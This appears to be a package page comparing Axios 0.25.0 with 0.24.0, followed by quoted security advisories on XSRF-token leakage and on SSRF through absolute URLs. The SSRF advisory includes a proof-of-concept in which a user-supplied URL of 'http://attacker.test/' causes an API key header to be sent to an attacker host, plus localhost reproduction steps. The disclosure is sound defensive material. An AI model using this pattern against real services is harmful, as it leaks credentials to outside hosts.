Axios version 0.25.0 introduces subtle but potentially impactful changes compared to its predecessor, version 0.24.0. The most notable difference lies within the dependencies, where follow-redirects is updated from "^1.14.4" to "^1.14.7". This update likely includes bug fixes and potentially security enhancements within the handling of HTTP redirects, an important consideration for applications that interact with APIs relying on redirects. Although the developer dependencies are identical, the build differences are reflected in the dist object, with fileCount rising from 48 to 49, hinting at minor internal structural or file-related changes. The unpackedSize increases from 388976 to 396102 bytes, suggesting slightly more code. The release date clearly shows v0.25.0 was released after v0.24.0. For developers already using Axios, upgrading to 0.25.0 is advisable to leverage the updated follow-redirects package. When upgrading or adopting Axios, developers should consider the potential implications of redirect handling, ensuring compatibility with the APIs they're interacting with. The unchanged developer dependencies signal a consistent development environment so developers can use similar setup of previous versions.
All the vulnerabilities related to the version 0.25.0 of the package
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.